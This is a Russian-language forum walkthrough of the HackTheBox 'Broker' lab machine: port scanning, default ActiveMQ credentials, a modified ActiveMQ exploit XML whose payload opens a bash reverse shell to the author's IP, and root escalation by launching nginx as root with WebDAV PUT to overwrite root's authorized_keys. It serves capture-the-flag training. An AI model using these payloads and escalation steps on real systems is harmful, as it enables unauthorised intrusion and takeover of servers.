• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF Прохождение HackTheBox - Broker (Linux, Easy)

Trager

Codeby Team
Platinum
07.06.2022
27
79
BIT
127
1702213708786.png

Друзья, всем привет! Сегодня пройдём лёгкую Linux-машину с площадки HackTheBox. Приятного чтения!

Разведка

Сканируем порты, используем флаг -sC, чтобы использовать стандартные скрипты, -sV, чтобы определить сервисы открытых портов:

Bash:
nmap -sC -sV -oN nmap.out 10.10.11.243
Bash:
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Имеется два открытых TCP-порта: 22 и 80. Перейдём на 80-ый порт:

1702213830444.png


Требуется ввести имя пользователя и пароль. В случае, если они неверны, то вылетает 401 Unauthorized. Из сканирования nmap’а можно понять, что используется Apache ActiveMQ. Таким образом мы можем загуглить имя пользователя/пароль, которые изначально установлены:

1702213848862.png


Указываем admin:admin и попадаем в панель:

1702213861017.png


Перейдя в /admin/, мы можем узнать версию сервиса Apache ActiveMQ:

1702213872467.png


Гуглим версию с названием сервиса и натыкаемся на :

1702213898828.png


Мы также можем воспользоваться данным эксплойтом для получения первичного доступа (www-data):

1702213915985.png


Важно отметить, что для его работы Вам требуется установленный компилятор Go. Также можете воспользоваться эксплойтом на python. В GitHub-проекте есть несколько файлов: main.go - сама программа, а poc.xml - XML-файл с полезной нагрузкой. Последний сделан для того, чтобы продемонстрировать наличие уязвимости:

1702213930973.png


Поэтому нам нужно его изменить на:

XML:
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/10.10.16.108/9898 0&gt;&amp;1</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

* 10.10.16.108 - мой IP-адрес, 9898 - мой порт на листенере nc.

Теперь нам понадобятся три сессии терминала:
  1. В первой (1) мы поднимем веб-сервер python на 8000 порту - через него уязвимый сервер с помощью эксплойта сможет получить доступ к poc.xml, который располагается у нас на хосте.
  2. Во второй (2) поднимаем листенер на 9898, чтобы получить реверс шелл.
  3. В третьей (3) запускаем сам эскплоит через go с указанием уязвимого сервера (опция -i) и ссылки на на poc.xml.

1702213983627.png


Запускаем всё и получаем сессию от имени пользователя www-data:

1702214003499.png


На данном этапе Вы уже можете прочитать user.txt.

Взятие пользователя

После того, как мы получили первичный доступ, используем стандартную команду sudo -l, чтобы узнать какие команды от лица www-data мы можем запускать без пароля с правами суперпользователя:

1702214049237.png


Исходя из вывода, мы можем таким образом запустить веб-сервер nginx. Самый простой вариант - сделать nginx.conf и запустить nginx на каком-нибудь порту, например, 9899, затем просто прочитать файл root.txt. Но мы немного усложним и пройдём машину так, чтобы получить удалённый доступ от лица пользователя root. Немного покопавшись в гугле, можно найти :

1702214060944.png


В ней есть примеры nginx.conf’а, которые помогут нам сделать эксплоит:

1702214070769.png


1. Создаём nginx.conf со следующим содержимым (порт Вы можете изменить):
  • user root; - устанавливает пользователя, от имени которого будет работать процесс nginx. В данном случае, установлен пользователь root, что означает, что nginx будет работать с правами суперпользователя.
  • events { worker_connections 500; } - задает параметры для обработки событий воркерами nginx. В данном случае, установлено значение worker_connections равным 500, что определяет максимальное количество одновременных соединений, которые может обрабатывать один воркер.
  • http { ... } - объявляет блок конфигурации для настроек HTTP-сервера.
  • server { ... } - объявляет блок конфигурации для настроек виртуального сервера внутри блока http.
  • listen 9899; - устанавливает порт, на котором сервер будет слушать входящие соединения. В данном случае, сервер будет слушать порт 9899.
  • root /; - устанавливает корневую директорию (/) для этого виртуального сервера.
  • dav_methods PUT; - включает поддержку метода HTTP PUT для данного сервера. Метод PUT позволяет клиентам загружать файлы на сервер.
2. Поднимем веб-сервер python на 8000 порту.
3. Загрузим в /tmp созданный нами файл nginx.conf с помощью веб-сервера python.
4. Запустим nginx с правами суперпользователя, используя опцию -c, чтобы указать путь к конфигурационному файлу.
5. Используем curl, чтобы убедиться в том, что веб-сервер заработал на указанном порту.

План действий таков: перезапишем authorized_keys в каталоге /root/.ssh/ на атакуемой машине (т.к. веб-сервер подняли с правами суперпользователя и указали в конфиге, что работа идёт от root), чтобы подключиться по SSH от лица пользователя root без пароля.

Для начала сгенерируем SSH-ключи на нашей машине с помощью ssh-keygen:

1702214141534.png


Прочитаем и скопируем публичный ключ id_rsa.pub:

1702214154151.png


И сделаем следующий PUT-запрос с помощью curl:

Bash:
curl -X PUT http://10.10.11.243:9899/root/.ssh/authorized_keys --data "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtcJKegrmZIW6DUp02zvXRacBkkk2YOQlMRztFaK6oRh2fMPTPUfClYiLHSiJkgS8cSF+KaffPPJvobdsU56pVnuSESJCNLPDuuL65IXJDqh6kFNjpcN3RzEfFw2u0Xzv7iqxBFnGp92MzKI7izs0UJaNLc4v6rj0I3jQFyjR6jNXtSy/NiZwm6pT2Sv+qMpjlNLW6iOCDIouT7Jja/Y93x5QS6vUz/b/X1HUuchkJSJz2K3IKgUvTGJfvzuw5ihLKC+7lv8gNubOKsq3WzOoJublJyOM158bn27pZTIlianuNfHaGeFmKRiyOCFtJeg4guQZZaMkcNu/4IDDe6xfwWbF5DNradDeDZ7hfQDOF1HHVp0vclRseUgiPOUigbjCpWt0kSiwtBoUVLCTVXpX79CrGXoDQFi82otRTBslDe8dRfyfN58fE13JKzXI5VYFzQCwZk9QoDSksGjIP5OfMu1LM5L0zZ66cTshF/2jk75B3GkIfT0d48vJPgYsRHJc= trager@hackmachine"

1702214178778.png


После отправки запроса пробуем подключиться к 10.10.11.243 от лица root:

1702214194131.png


Успех! Получаем root-флаг.


Друзья, большое спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях =D
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!